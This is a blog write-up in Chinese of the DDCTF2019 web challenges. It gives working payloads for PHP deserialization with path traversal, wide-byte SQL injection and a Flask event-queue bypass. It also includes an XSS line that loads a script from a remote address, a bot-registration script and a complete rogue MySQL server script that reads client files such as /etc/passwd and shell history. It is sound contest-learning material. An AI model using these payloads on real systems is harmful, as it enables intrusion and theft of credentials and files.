shifeng

DDCTF2019 web wp
之前又是打比赛又是五月病,于是好久没更,该高产似那啥一波了x
扫描右侧二维码阅读全文
27
2019/05

DDCTF2019 web wp

之前又是打比赛又是五月病,于是好久没更,该高产似那啥一波了x

滴~

这题真的是佛啦,一开始还以为是一道很简单的web签到题,看到title一串乱字符串就加个DDCTF然而并不是flag
F12可以看到一个看到一个用base64编码来解析为图片的代码段,然后url上有jpg应该是文件读取。然后尝试两次base64+一次base16成功解出是flag.jpg,于是用这个加密index.php获取源码。
解出来可以看到有两层过滤,一开始以为flag在config.php里然而绕不过去。于是去访问一下提示的博客,全篇在讲echo命令,感觉没什么关系。翻翻博主其他的博客,有篇关于swp文件的文章。看了一下然后尝试用python把.config.php.sw[p-a]都跑了一遍都没什么,然后看了看了评论区有人说.practice.txt.swp这个文件,于是和config.php同个操作依旧什么都没有。一脸懵逼之时想到之前拿swp文件时下载下来的都不带点,于是尝试一下practice.txt.swp就tm的拿到了flag文件【黑人问号.jpg

于是获取一下源码【!可以通过config替换绕过】
读一下一个变量覆盖,一个读文件内容与变量相同,那就用php://input
payload:

get ?k=php://input&uid=1
post 1

WEB 签到题

进去后F12 一下发现index.js

function auth() {
    $.ajax({
        type: "post",
        url:"http://117.51.158.44/app/Auth.php",
        contentType: "application/json;charset=utf-8",
        dataType: "json",
        beforeSend: function (XMLHttpRequest) {
            XMLHttpRequest.setRequestHeader("didictf_username", "");
        },
        success: function (getdata) {
            console.log(getdata);
            if(getdata.data !== '') {
                document.getElementById('auth').innerHTML = getdata.data;
            }
        },error:function(error){
            console.log(error);
        }
    });
}

读一下可以知道需要在头部中传一个didictf_name的值过去
尝试几次后发现是admin

响应提示/app/fL2XID2i0Cdh.php
于是打开得到/app/Application.php和/app/Session.php的源码
先读一下/app/Application.php

<?php
// url:app/Application.php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
        $path = trim($path);
        $path=str_replace('../','',$path);
        $path=str_replace('..\\','',$path);
        return $path;
    }

    public function __destruct() {
        if(empty($this->path)) {
            exit();
        }else{
            $path = $this->sanitizepath($this->path);
            if(strlen($path) !== 18) {
                exit();
            }
            $this->response($data=file_get_contents($path),'Congratulations');
        }
        exit();
    }
}

可以看到Application类的析构函数进行了文件读取,还对路径进行了过滤,不过我们可以双写绕过,而且处理后的文件路径长正好是18于是不用理那个长度判断
到这里可以猜测是要我们反序列化这个类去读取某个文件
然后再读/app/Session.php

<?php
// url:app/Session.php
include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

在session_read()中发现了反序列化,但这个反序列化不是随便都行的,要通过一个hash的验证才行。而hash是通过一串在../config/key.txt中的密钥连接cookie然后进行md5后生成的(这里其实可以用哈希长度扩列攻击吧?)

然后在同个方法中又看到了这段

if(!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data,$v);
    }
    parent::response($data,"Welcome");
}

那我们可以通过将nickname=%s获得密钥
这下思路就很清晰了,于是开始操作
先访问一下Session.php获取初始的cookie,然后将cookie放在头部然后post nickname=%s 获得密钥EzblrbNS
然后构建反序列化字符串,

<?php
Class Application {
var $path = '....//config/flag.txt';
}
$o=new Application();
$session=serialize($o);
echo urlencode($session.md5("EzblrbNS".$session));

最后用burpsuit发送获得flag

Upload-IMG

图片上传的题,要求文件中带有phpinfo()。尝试修改了MIME绕过不了,把phpinfo()写在图片中也不行,于是将上传前的图片和上传后的图片对比一下看看过滤了什么

发现上传前后的图片头部有些许的修改,增加了一段数据,查了一下才知道是gb库的图片二次渲染,会把图片中的代码也给转化成jpg图片的部分
绕过的方法查gb库的时候顺便就找到了
绕过GD库渲染的Webshell生成器
用这里大佬写好的脚本,把里面payload修改一下然后进行运行处理一下图片就可以了。可能一次成功不了多试几张图就好

homebrew event loop

一道python的审计题,刚触碰python web所以就详细的分析一下源码
首先是开头的部分,是用flask框架搭建的web服务

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66747e857'

然后看到app.route()这里,传入该方法的参数都是对应页面的url,然后接着下面的方法是处理该页面的代码,于是读一下entry_point()

@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

urllib.unquote(request.query_string)是获得跟着url后的参数,就是?后面的部分,然后再用url解码。然后当传入为空或者不以action或者长度大于100时,跳回主界面。接下面的部分是设置session,然后request.prev_session没查到是用来做什么的,但抓包会发现cookie中有个session的参数
Flask-Unsign处理一下

会发现和设置的session值一样,看整个代码也没发现有其他地方进行了cookie的处理,于是猜测request.prev_session是用来将需要的回传的参数进行加密后置入cookie中。
继续往下读看到trigger_event()

def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)

这个方法是用来将要调用的事件放入队列中,当事件数量大于5时取后5个,然后能处理列表与字符串
最后调用execute_event_loop()

def execute_event_loop():
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars: break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                #resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

这个方法会将trigger_event()设置好的队列中所有的事件都遍历一遍,然后当事件非func和action开头时会直接结束。

is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack

这里是event以a开头时is_action为真,反之。然后获得:和;之间的字符串作为方法名,然后;之后通过#分割的为传入的参数
再往下就是当is_action为真时连接_handle,否则连接_function。然后调用方法并传参,再接下去就是一堆异常处理
然后读一下比较重要的函数,比如这两个带flag的函数

def show_flag_function(args):
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'
    
def get_flag_handler(args):
    if session['num_items'] >= 5:
        trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')

可以看到show_flag_function直接访问也没有flag,get_flag_handler则需要我们购买的diamonds数大于等于5时才能获得flag
那就读一下buy_handler()

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items 
    trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

可以看到buy_handler函数之是进行了diamonds数的加操作,然后将consume_point()放入了队列中,于是再读一下consume_point()

def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume

consume_point()则是对points进行减,当要减的值小于diamonds时就会进行回滚,让diamonds还原
分析完源码,很奇怪buy_handler和consume_point为什么要分开写,或者先判断是否points足够不是更好吗,于是就想这之间会不会有什么逻辑漏洞存在。
如果说我们能在获得第5个diamonds时,在触发consume_point之前就先触发get_flag_handler,那我们不就能获得flag了。顺着这个想法,我们可以看到trigger_event()是可以将多个事件放入队列中的,而buy_handler是将consume_point放到队尾,那我们只要能往trigger_event()用列表传多个数据过去那不就可以了。而能用来传队列值的地方只有这里

event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

这里我们可以用#来绕过,让后面接上的值无效。然后再传我们要执行的方法作为参数就ok
于是payload就是:

?action:trigger_event%23;action:buy;1%23action:buy;1%23action:get_flag;1

这里不用%23会出错,然后get_flag_handle也是需要传值的,不然也是不行【这里是现在浏览器端进行了三次购买操作后的payload
最后再去cookie中拿出session解码获得flag

不过这题我还有其他的想法,比如用trigger_event()给consume_point_function传入一个负数值也许可以让points变大?或者故意触发points不足,然后在回滚时是会去读取用户cookie里session中的值的,我们只要修改并加密,再将cookie回传不就可以获得将points设为任意我们想要的了?

欢迎报名DDCTF

一道xss+sql注入的题
拿题先扫一下,发现了几个页面

login怎么搞没什么效果,admin不允许访问,但题目提示了xss不是用来拿cookie,那应该是用来拿admin页面的源码,于是找xss注入点
在第三个输入框处有xss注入点,于是上<script src="//address">获得源码,不过复现时一直不行,可能是机器人关了?拿其他大佬搞到的代码时ok的来着
然后看拿到的admin源码,发现一个query_aIeMu0FUoVrW0NWPHbN6z4xh.php接口,于是访问一下提示传id,于是抓包发现编码时gbk

于是猜测可能是宽字节注入
然后尝试到5个参数时有回显,于是直接一个个读
Payload:

3%df%27%20union%20select%201,2,3,4,5%23
3%df%27%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata%23
3%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x6374666462%23
3%df%27%20union%20select%201,2,3,4,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x6374665f66686d4852504c35%23
3%df%27%20union%20select%201,2,3,4,group_concat(ctf_value)%20from%20ctfdb.ctf_fhmHRPL5%23

最后这里没反应到不是同一个数据库卡了好久orz

大吉大利,今晚吃鸡~

这题注册登录进去后,点击立即购买就会生成一个2000元的支付订单,然而并没有这么多钱,于是找绕过点。再次点击然后看看发送了什么请求

发现了一个get传ticket_price的请求
抓包修改一下值提示不得小于2000元,用非数字直接出错
这里学到一个新姿势——整数溢出,当大于2^32时,最高位的1会溢出舍去,只剩后32位。于是这里我们传4294967297(2^32+1),然后再支付,这样我们实际上就只支付了1元
然后进到吃鸡界面发现要输入id和ticket淘汰对手,于是上脚本注册一堆小号一个个淘汰,最终得flag

# -*- coding: utf-8 -*- 
import base64
import requests
import re

user_cookie = {'user_name':'shifenghhh','REVEL_SESSION':'0bf7b810d7a83663760923a04529c56c'}

for i in range(1000):
    user = 'shifenglooll'+str(i)
    url1 = "http://117.51.147.155:5050/ctf/api/register?name="+user+"&password=123456789"
    http1 = requests.get(url1)
    REVEL_SESSION = re.findall(r"REVEL_SESSION=(.*?);",http1.headers['Set-Cookie'])[0]
    url2 = "http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967299"
    cookie = {'user_name':user,'REVEL_SESSION':REVEL_SESSION}
    http2 = requests.get(url2,cookies=cookie)
    bill_id = re.findall(r"\"bill_id\":\"(.*?)\",",http2.content)[0]
    url3 = "http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="+bill_id
    http3 = requests.get(url3,cookies=cookie)
    your_id = re.findall(r"\"your_id\":(.*?),",http3.content)[0]
    your_ticket = re.findall(r"\"your_ticket\":\"(.*?)\"",http3.content)[0]
    url4 = "http://117.51.147.155:5050/ctf/api/remove_robot?id="+your_id+"&ticket="+your_ticket
    http4 = requests.get(url4,cookies=user_cookie)
    print http4.content

【不会多线程呀(跪

mysql弱口令

一道关于反mysql扫描器的题,进去提示将agent.py部署在公网服务器上,然后对mysql开启的端口进行弱密码扫描

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

这个agent.py应该是用来作为8123端口上的一个服务器,然后扫描器会从该端口进入访问我们准备好的端口
这题利用的是mysql中LOAD DATA INFILE这个语法,它在客户端具有CLIENT_LOCAL_FILES属性时,能够读取客户端的任意文件
具体看这
[Read MySQL Client's File
](https://lightless.me/archives/read-mysql-client-file.html)
于是我们可以伪造一个mysql服务端,修改连接请求,就能获得攻击方的文件
这里找了个github上写好的脚本,修改一下然后在服务器上运行,然后让扫描器扫描就可以了。

#!/usr/bin/env python
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3307

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
# tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format = logging.StreamHandler()
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
#    r'c:\boot.ini',
#    r'c:\windows\win.ini',
#    r'c:\windows\system32\drivers\etc\hosts',
    '/etc/passwd',
    # '/root/.bash_history',
    # '/home/dc2-user/ctf_web_2/app/main/views.py',
    # '/var/lib/mysql/security/flag.idb',
    # '/root/.mysql_history',
#    '/etc/shadow',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
    import os, warnings
    if os.name != 'posix':
        warnings.warn('Cant create daemon on non-posix system')
        return

    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
        try:
            os.dup2(null, i)
        except OSError as e:
            if e.errno != 9: raise
    os.close(null)


class LastPacket(Exception):
    pass


class OutOfOrder(Exception):
    pass


class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
        if isinstance(packet_type, mysql_packet):
            self.packet_num = packet_type.packet_num + 1
        else:
            self.packet_num = packet_type
        self.payload = payload

    def __str__(self):
        payload_len = len(self.payload)
        if payload_len < 65536:
            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
        else:
            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

        result = "{0}{1}".format(
            header,
            self.payload
        )
        return result

    def __repr__(self):
        return repr(str(self))

    @staticmethod
    def parse(raw_data):
        packet_num = ord(raw_data[0])
        payload = raw_data[1:]

        return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

    def __init__(self, addr):
        asynchat.async_chat.__init__(self, sock=addr[0])
        self.addr = addr[1]
        self.ibuffer = []
        self.set_terminator(3)
        self.state = 'LEN'
        self.sub_state = 'Auth'
        self.logined = False
        self.push(
            mysql_packet(
                0,
                "".join((
                    '\x0a',  # Protocol
                    '5.6.28-0ubuntu0.14.04.1' + '\0',
                    '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
                ))            )
        )

        self.order = 1
        self.states = ['LOGIN', 'CAPS', 'ANY']

    def push(self, data):
        log.debug('Pushed: %r', data)
        data = str(data)
        asynchat.async_chat.push(self, data)

    def collect_incoming_data(self, data):
        log.debug('Data recved: %r', data)
        self.ibuffer.append(data)

    def found_terminator(self):
        data = "".join(self.ibuffer)
        self.ibuffer = []

        if self.state == 'LEN':
            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
            if len_bytes < 65536:
                self.set_terminator(len_bytes)
                self.state = 'Data'
            else:
                self.state = 'MoreLength'
        elif self.state == 'MoreLength':
            if data[0] != '\0':
                self.push(None)
                self.close_when_done()
            else:
                self.state = 'Data'
        elif self.state == 'Data':
            packet = mysql_packet.parse(data)
            try:
                if self.order != packet.packet_num:
                    raise OutOfOrder()
                else:
                    # Fix ?
                    self.order = packet.packet_num + 2
                if packet.packet_num == 0:
                    if packet.payload[0] == '\x03':
                        log.info('Query')

                        filename = random.choice(filelist)
                        PACKET = mysql_packet(
                            packet,
                            '\xFB{0}'.format(filename)
                        )
                        self.set_terminator(3)
                        self.state = 'LEN'
                        self.sub_state = 'File'
                        self.push(PACKET)
                    elif packet.payload[0] == '\x1b':
                        log.info('SelectDB')
                        self.push(mysql_packet(
                            packet,
                            '\xfe\x00\x00\x02\x00'
                        ))
                        raise LastPacket()
                    elif packet.payload[0] in '\x02':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    elif packet.payload == '\x00\x01':
                        self.push(None)
                        self.close_when_done()
                    else:
                        raise ValueError()
                else:
                    if self.sub_state == 'File':
                        log.info('-- result')
                        log.info('Result: %r', data)

                        if len(data) == 1:
                            self.push(
                                mysql_packet(packet, '\0\0\0\x02\0\0\0')
                            )
                            raise LastPacket()
                        else:
                            self.set_terminator(3)
                            self.state = 'LEN'
                            self.order = packet.packet_num + 1

                    elif self.sub_state == 'Auth':
                        self.push(mysql_packet(
                            packet, '\0\0\0\x02\0\0\0'
                        ))
                        raise LastPacket()
                    else:
                        log.info('-- else')
                        raise ValueError('Unknown packet')
            except LastPacket:
                log.info('Last packet')
                self.state = 'LEN'
                self.sub_state = None
                self.order = 0
                self.set_terminator(3)
            except OutOfOrder:
                log.warning('Out of order')
                self.push(None)
                self.close_when_done()
        else:
            log.error('Unknown state')
            self.push('None')
            self.close_when_done()


class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
        asyncore.dispatcher.__init__(self, sock)

        if not sock:
            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
            self.set_reuse_addr()
            try:
                self.bind(('', PORT))
            except socket.error:
                exit()

            self.listen(5)

    def handle_accept(self):
        pair = self.accept()

        if pair is not None:
            log.info('Conn from: %r', pair[1])
            tmp = http_request_handler(pair)

z = mysql_listener()
# daemonize()
asyncore.loop()

不过有点奇怪的是如果我停止3306端口上运行的
mysql,运行这个脚本,就会提示mysql未开启,需要修改一下agent.py才行。而换一个端口去运行就没这个问题【之后再研究看看
先获取/etc/passwd,读INFO:Result那个部分就好

然而没什么有用的,于是读/root/.bash_history

用脚本处理一下换行,会找到这样一段命令记录

cd /home/dc2-user/ctf_web_2/
ls
cd app/
ls
cd main/
ls
vim views.py

那就读一下/home/dc2-user/ctf_web_2/app/views.py

同样也是处理一下,然后可以看到有一段注释
# flag in mysql curl@localhost database:security table:flag\r
那就去读一下flag表 /var/lib/mysql/security/flag.idb
但不知道为什么(可能是被删掉了),一直错误。于是尝试去读MySQL的操作记录,/root/.mysql_history

得到flag

再来1杯Java

看名字就知道是JAVA web的题
先根据提示修改一下host进入网站,提示要成为admin用户。看页面没到找什么能搞的地方,于是bp抓个包

看history可以看到,有两个接口,于是访问一下看看
发现account_info是获得用户身份,gen_token则是获得token。然后看token感觉像base64加密后的值,于是尝试解码一下

可以看到,这里提示了CBC加密,然后看返回的token长为48位,而account_info返回的json字符串长在32位以内,于是猜测前面位iv后面位密文

那接下来的目标就是要把roleAdmin的值改为1(不太清楚为什么可以,明明java是强类型)。既然是CBC加密,那就上CBC翻转。
由于我们获得不到修改过一次后的iv值,于是不能直接把false改成true。这里我们要通过修改iv去控制第一段,同时将第二段置为脏字符,然后再修改第二段控制第三段
{"roleAdmin":1,"xxxxxxxxxxxxxxxx":"1","id":001}
大概就是要弄成这样
这里控制iv改第一段很简单,iv^明文^目标就ok。但第三段不好控制,因为第三段不存在,我们要拿前两段其中一段作为第三段,然后再对第二段进行一下处理
我们知道CBC加密解密时是在key解密后和加密段异或,那么如果要更改加密段,就要先明文^加密段获得key解密后的密文,再key解密后的密文^新加密段获得新明文。然后就是正常程序,用新明文^新加密段^目标就能控制添加的段
于是用第一段明文^iv^第二段^第二段^目标得到第二段,然后把第一段接上即可。于是上脚本解决
搞定后提交访问,会多出一个下载的按钮

下载可以获得hint。
提示了

1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 
2. You can not exec commands~ 

用了spring框架同时不能执行命令
这里当然也抓包试一下,发现了一个可能是任意读取文件的接口

然后一波操作下去发现只能得到/etc/passwd,而且也没什么用,于是试着跑一下进程目录/proc/self/fd/

【少用intruder于是记录一下省得又忘了

可以明显看到15是有什么东西,读一下发现开头是pk

于是用python访问读取并二进制保存为zip,解压出来为一份源码

最后修改:2019 年 05 月 27 日 11 : 11 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论